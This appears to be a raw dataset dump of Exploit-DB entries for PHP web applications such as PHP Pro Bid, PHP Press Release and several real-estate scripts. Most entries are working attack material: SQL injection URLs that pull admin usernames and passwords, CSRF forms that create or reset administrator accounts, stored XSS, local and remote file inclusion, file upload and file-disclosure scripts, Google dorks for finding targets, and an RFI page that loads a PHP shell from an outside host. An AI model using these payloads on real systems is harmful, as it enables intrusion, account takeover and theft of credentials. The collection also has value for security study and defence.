deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25704
Description: PHP Poll Creator 1.0.1 - 'Poll_Vote.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-05-25
Author: rash ilusion

Exploit:
source: https://www.securityfocus.com/bid/13760/info

PHP Poll Creator is affected by a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

UPDATE: Further information shows that this issue does not affect version 1.04. 

http://www.example.com/poll_vote.php?relativer_pfad=http://www.example.com/
Exploit-DB #40204
Description: PHP Power Browse 1.2 - Directory Traversal
Type: webapps
Platform: php
Date: 2016-08-05
Author: Manuel Mancera

Exploit:
# Exploit Title: PHP Power Browse v1.2 - Path Traversal
# Google Dork:
    intitle:PHP Power Browse inurl:browse.php
# Exploit Author: Manuel Mancera (sinkmanu)    |    sinkmanu (at) gmail
(dot) com
# Software URL: https://github.com/arzynik/PHPPowerBrowse
# Version: 1.2
# Vulnerability Type : Path traversal
# Severity : High

### Description ###

This file browser is vulnerable to path traversal and allow to an
attacker to access to files and directories that are stored outside the
web root folder.

### Exploit ###

http://site/browse.php?p=source&file=/etc/passwd
Exploit-DB #40486
Description: PHP Press Release - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2016-10-09
Author: Besim

Exploit:
# Exploit Title :              PHP Press Release - Cross-Site Request Forgery (Add Admin - Super User )
# Author :                     Besim
# Google Dork :                 -
# Date :                       09/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.pagereactions.com/product.php?pku=1
 Software link :
 http://www.pagereactions.com/downloads/phppressrelease.zip



########################### CSRF PoC ###############################


<html>
  <!-- CSRF PoC  -->
  <body>
    <form action="http://sitename/phppressrelease/administration.php" method="POST">
      <input type="hidden" name="pageaction" value="saveuser" />
      <input type="hidden" name="subaction" value="submit" />
      <input type="hidden" name="username" value="murat" />
      <input type="hidden" name="password" value="murat" />
      <input type="hidden" name="userfullname" value="murat&#32;tester" />
      <input type="hidden" name="accesslevel" value="Super" />
      <input type="hidden" name="userstatus" value="active" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      *document.forms[0].submit();*
    </script>
  </body>
</html>

####################################################################
Exploit-DB #40487
Description: PHP Press Release - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-10-09
Author: Besim

Exploit:
# Exploit Title :              PHP Press Release* - Stored Cross Site
Scripting*
# Author :                     Besim
# Google Dork :                 -
# Date :                       09/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :   http://www.pagereactions.com/product.php?pku=1
# Software link :
 http://www.pagereactions.com/downloads/phppressrelease.zip


Description : 

Vulnerable link :
http://site_name/phppressrelease/administration.php?pageaction=newrelease

Stored XSS Payload : 

http://www.site_name/phppressrelease/administration.php?pageaction=saverelease&subaction=submit&dateday=&datemonthnewedit=&dateyearnewedit=&title=<script>alert('Exploit-DB')<%2Fscript>&summary=deneme&releasebody=deneme&categorynewedit=1&publish=active
Exploit-DB #28274
Description: PHP Pro Bid 5.2.4 - 'auctionsearch.php?advsrc' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-25
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/19158/info

PHP Pro Bid is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

Version 5.24 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/auctionsearch.php?advsrc="<script>alert(/EllipsisSecurityTe st/)</script>
Exploit-DB #28276
Description: PHP Pro Bid 5.2.4 - 'categories.php?orderType' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-25
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/19158/info
  
PHP Pro Bid is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
Version 5.24 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/categories.php?parent=&start=&orderField=itemname&orderType =1'[SQL]
Exploit-DB #28275
Description: PHP Pro Bid 5.2.4 - 'viewfeedback.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-07-25
Author: EllipSiS Security

Exploit:
source: https://www.securityfocus.com/bid/19158/info
 
PHP Pro Bid is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
Version 5.24 is vulnerable to these issues; other versions may also be affected.

http://www.example.com/viewfeedback.php?view=1'[SQL] 
http://www.example.com/viewfeedback.php?view=all&start=1'[SQL]
Exploit-DB #32397
Description: PHP Pro Bid 5.2.4/6.04 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-09-19
Author: Jan Van Niekerk

Exploit:
source: https://www.securityfocus.com/bid/31263/info

PHP Pro Bid is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP Pro Bid 6.04 is vulnerable; other versions may also be affected.

http://www.example.com/phpprobidlocation/categories.php?start=0&limit=20&parent_id=669&keywords_cat_search=&buyout_price=&reserve_price=&quantity=&enable_swap=&order_field=(select%201)x&order_type=%20
Exploit-DB #11284
Description: PHP Product Catalog - Cross-Site Request Forgery (Change Administrator Password)
Type: webapps
Platform: php
Date: 2010-01-29
Author: bi0

Exploit:
                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 [PII_REDACTED] 01001111

[#]----------------------------------------------------------------[#]
#
# [+] PHP Product Catalog - [ CSRF ] Change Administrator Password
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Thanks: Pig,packetdeath,redking,sp1r1t and all my friends
# [x] IRC : irc.clickshqip.com / #itsecurity
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
# [ CSRF ]
#
#     [ Login ]
#     http://[server]/[path]/admin.php
#
# // Start CSRF
|-------------------------------------------------------------------------------|

<html>
<form action="http://[server]/admin.php?p=otherConfig&amp;sOption=save" method="POST">
Admin : <input type="text" name="login" value="admin" size="5" /><br>
Passwd  <input type="text" name="pass" value="123" size="5" /><br>
Email : <input type="text" name="email" value="test@example.com" size="16" /><br>
<input type="submit" name="save" value="Save">
</form>
</html>

|-------------------------------------------------------------------------------|
# // End of attack
#
[#]------------------------------------------------------------------------------------------[#]

#EOF
Exploit-DB #41197
Description: PHP Product Designer Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-01-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: PHP Product Designer Script - Arbitrary File Upload
# Google Dork: N/A
# Date: 30.01.2017
# Vendor Homepage: https://codecanyon.net/item/php-product-designer/19334412
# Software Buy: https://codecanyon.net/item/php-product-designer/19334412
# Demo: http://phpproductdesigner.000webhostapp.com/products.php
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/products.php / Create New Design
# http://localhost/[PATH]/theme/images/uploads/[......PHP]
# # # # #
# uploadImage.php
<?php
$output_dir = "./theme/images/uploads/";
.
.
.
$imagetemp = explode(".", $_FILES["imagefile"]["name"]);
		$newimagename = round(microtime(true)) . '.' . end($imagetemp);
		//move the uploaded file to uploads folder;
    	move_uploaded_file($_FILES["imagefile"]["tmp_name"],$output_dir. $newimagename);
    
   	 echo $output_dir . $newimagename;
	}

}
?>
# # # # #
Exploit-DB #13805
Description: PHP Property Rental Script - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-09
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:PHP Property Rental Script SQLi & XSS Vulnerability
Version:3.0
Price:600$
Vendor url:http://www.zincksoft.com/
Published: 2010-06-09
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue™®, S1ayer,d3c0d3r and to all
ICW members
###############################################################################################################################################################################################


PHP Property Rental Script SQLi & XSS Vulnerability

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]

#####################################################################################################################################################################################################

Description:

PHP Property Rental Script

PHP Property Rental Script is a wonderful solution to launch your own
Property rental or sale website. Script has very good features to provide a
very sound foundation to your rental portal site
. Script offers great earning potential. It is a Complete Script with
quality features like:
1. Property profiles Rental Offers
2. Internal messaging
3. Google Map
4. FULLY customizable site colors and graphics
5. Script parameters are highly configurable through script admin panel.
6. Paypal Payment Gateway
7. Membership options
8.And of course great earning potential And lot more
#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL :http://server/view.php?PID=[sqli]

*XSS Vulnerability

Pattern:'"-->

DEMO URL :http://server/view.php?PID=[XSS]
Exploit-DB #45780
Description: PHP Proxy 3.0.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2018-11-05
Author: AkkuS

Exploit:
# Exploit Title: PHP-Proxy 3.0.3 - Local File Inclusion
# Date: 04.11.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://www.php-proxy.com/
# Software Link: https://github.com/Athlon1600/php-proxy-app
# Version: v3.0.3
# Category: Webapps
# Tested on: XAMPP for Linux
# Description: Any user can read files from the server
# without authentication due to an existing LFI in the following path:
# http://target/index.php?q=file:///[FilePath]

# PoC

#!/usr/bin/python

import urllib2, httplib, sys

print "\n[*] PHP-Proxy 3.0.3 LFI PoC By AkkuS"
print "[*] My Blog - https://www.pentest.com.tr\n"
print "[+] usage: python " + __file__ + " http://<target_ip/domain>"
if (len(sys.argv) != 2):
    print "[*] Usage: poc.py <target_ip/domain>"
    exit(0)
ip_add = sys.argv[1]

fd = raw_input('[+] File or Directory: aka /etc/passwd and etc..\n')

print "Exploiting....."
print '\n'
URL = "http://" + ip_add + "/index.php?q=file:///" + fd + ""
print urllib2.urlopen(URL).read()
Exploit-DB #12416
Description: PHP Quick Arcade 3.0.21 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-04-27
Author: ITSecTeam

Exploit:
PHP Quick Arcade 3.0.21 Multiple Vulnerabilites
-----------------------------------------------------------
#Title: PHP-Quick-Arcade 3.0.21 Multiple Vulnerabilites
#Vendor: http://quickarcade.jcink.com/
-----------------------------------------------------------
#AUTHOR: ITSecTeam
#Email: Bug@ITSecTeam.com
#Website: http://www.itsecteam.com
#Forum : http://forum.ITSecTeam.com
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability47.htm
#Thanks: Pejvak,M3hr@n.s,r3dm0v3,am!rkh@n
-----------------------------------------------------------
# POC 1
-----------------------------------------------------------
www.Site.com/Arcade.php
Send Your Query With Cookie => phpqa_user_c
phpqa_user_c= Sql Injection
Can Use tamper data in mozila
-----------------------------------------------------------
# POC 2
-----------------------------------------------------------
This Bug Worked With Register_Global = On
www.Site.com/acpmoderate.php?id=Sql Injection
-----------------------------------------------------------
# POC 3
-----------------------------------------------------------
Cross Site Scripting (XSS)
www.Site.com/acpmoderate.php?serv=Xss Code
Exploit-DB #12272
Description: PHP RapidKill Pro 5.x - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-17
Author: DigitALL

Exploit:
# Exploit Title: PHP RapidKill Pro 5.x Shell Upload Vulnerability

# Date: 16.04.2010

# Author: DigitALL

# Software Link:

# Code :

g00gle d0rk: "PHP RapidKill Pro"

3xpl0it: Link to Download: http://site.com/shell.txt [r57 or DigitALL Shell
]

And Click To "F&#304;LES" And Action Rename xx.php

Then Click The Go To Shell

Greetz To: Efe KroNicKq NoFearx38 and All 1923Turk.Com Members

[ www.digitallsecurity.org ] [ www.1923turk.com ] [
www.digit4ll.blogspot.com ] [ www.kankardes.com ] [ www.hacker-zone.org ]
Exploit-DB #4737
Description: PHP Real Estate - 'fullnews.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-14
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		          PHP Real Estate SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://phprealestatescript.com
DORK: "Browse with Interactive Map"


DESCRIPTION: 
pull admin info from database


EXPLOITS:
www.site.com/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/*


NOTE/TIP: 
admin login is at /admin/


GREETZ: milw0rm.com, h4ck-y0u.org !


--==+================================================================================+==--
--==+		          PHP Real Estate SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2007-12-14]
Exploit-DB #4055
Description: PHP Real Estate Classifieds - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-09
Author: not sec group

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>PHP Real Estate Classifieds Premium Plus(header.php) Remote File Inclusion 
Exploit</title>

<script language="JavaScript">

//===============================================================================================
//[Script Name: PHP Real Estate Classifieds Premium Plus
//[               not sec group
//[Author     : http://notsec.com
//[Email      : info@notsec.com
//===============================================================================================
//developers page:  http://phprealestatescript.com/

   var path="/admin/"
   var adres="header.php" 
   var acik ="?loc=" 
   var shell="http://notsec.com/shell.txt" // put THE php shell here

   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }



  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready
  rfi.submit(); 
   }
</script>

</head>

<body bgcolor="white">
<center>

<p><b><font face="Arial" size="1" color="black">PHP Real Estate (header.php) Remote File Inclusion Exploit</font></b></p>

<p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="verdana" size="1" color="black">Target:</font>
	<font face="verdana" size="1" color="black">[http://[vittima]/[path]</font><font color="black" size="2" face="Tahoma">
  </font><font color="white" size="1">&nbsp;</font></b>
  <input type="text" name="target1" size="10" style="background-color: white" onmouseover="javascript:this.style.background=\'white\';" onmouseout="javascript:this.style.background=\'white\';"></p>
  <p><input type="submit" value="submit" name="B1"><input type="reset" value="reset" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="400" width="650" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="verdana" size="1" color="gray"># notsec.com [08-06-2007]</font></b><p></b></p>
</p>
</center>
</body>

</html>

# milw0rm.com [2007-06-09]
Exploit-DB #41728
Description: Php Real Estate Property Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Real Estate Property Pro Script - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/php-property-portal-script
# Demo: http://realpro.phpscriptsdemo.com/
# Version: Pro
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/adsearch.html?&prc_min=[SQL]&prc_max=[SQL]
# Etc...
# # # # #
Exploit-DB #13802
Description: PHP Real Estate Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-09
Author: L0rd CrusAd3r

Exploit:
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:PHP Real Estate Script SQLi Vulnerability
Version:1.0
Price:249$
Vendor url:http://www.realestates.com.bd/
Published: 2010-06-09
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue™®, S1ayer,d3c0d3r and to all
ICW members
###############################################################################################################################################################################################


PHP Real Estate Script SQLi Vulnerability

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]

#####################################################################################################################################################################################################

Description:

Eicra Real Estate Script is a fully scalable turn-key PHP MySQL Real
Estate.
Charge members to list ads or run in free mode.
It is a powerful combination of the most desired features and easy-to-use
interface for property management tasks.
This professional real estate system allows you to automate and simplify the
realty business process.
With this solution be able to transform your business into a more
efficient, productive and prosperous e-business enterprise.
EicraRealEstate is a fully scalable turnkey PHP MySQL real estate script
allowing site administrators to charge members to list properties.
#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL :http://server/index.php?plugin_id=28&p_id=[sqli]
Exploit-DB #40076
Description: PHP Real Estate Script 3 - Arbitrary File Disclosure
Type: webapps
Platform: php
Date: 2016-07-08
Author: Meisam Monsef

Exploit:
# Exploit Title: php Real Estate Script Arbitrary File Disclosure
# Date: 2016-07-08
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.realestatescript.eu/
# Version: v.3
# Download Link : http://www.realestatescript.eu/downloads/realestatescript-v3.zip

Exploit : 
<?php
//read db config file 
$post_data = 'tpl=../../private/config/db.php';//change read file path
$host = "www.server.local";//change victim address
$socket = fsockopen($host, 80, $errno, $errstr, 15);
if(!$socket){
echo ' error: ' . $errno . ' ' . $errstr;
die;
}else{
//change [demo/en] path server
$path = "/demo/en/";
$http  = "POST {$path}admin/ajax_cms/get_template_content/ HTTP/1.1\r\n";
$http .= "Host: $host\r\n";
$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
$http .= "Content-length: " . strlen($post_data) . "\r\n";
$http .= "Connection: close\r\n\r\n";
$http .= $post_data . "\r\n\r\n";
fwrite($socket, $http);
$contents = "";
while (!feof($socket)) {
$contents .= fgets($socket, 4096);
}
fclose($socket);
$e = explode('Content-Type: text/html',$contents);
print $e[1];
}
?>
Exploit-DB #39864
Description: PHP Realestate Script Script 4.9.0 - SQL Injection
Type: webapps
Platform: php
Date: 2016-05-27
Author: Meisam Monsef

Exploit:
# Exploit Title: Property Agent RealeState Script Sql Injection
# Date: 2015-05-27
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage:
http://www.phpscriptsmall.com/product/php-realestate-script/
# Version: 4.9.0

Exploit :
http://server/[path]/single.php?view_id=-99999+[SQl+Command]

Test :
http://server/single.php?view_id=-57+/*!50000union*/+select+1,2,user_name,4,5,6,7,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+admin_login

Admin Panel : http://server/admin/
Username : admin
[CREDENTIAL_REDACTED]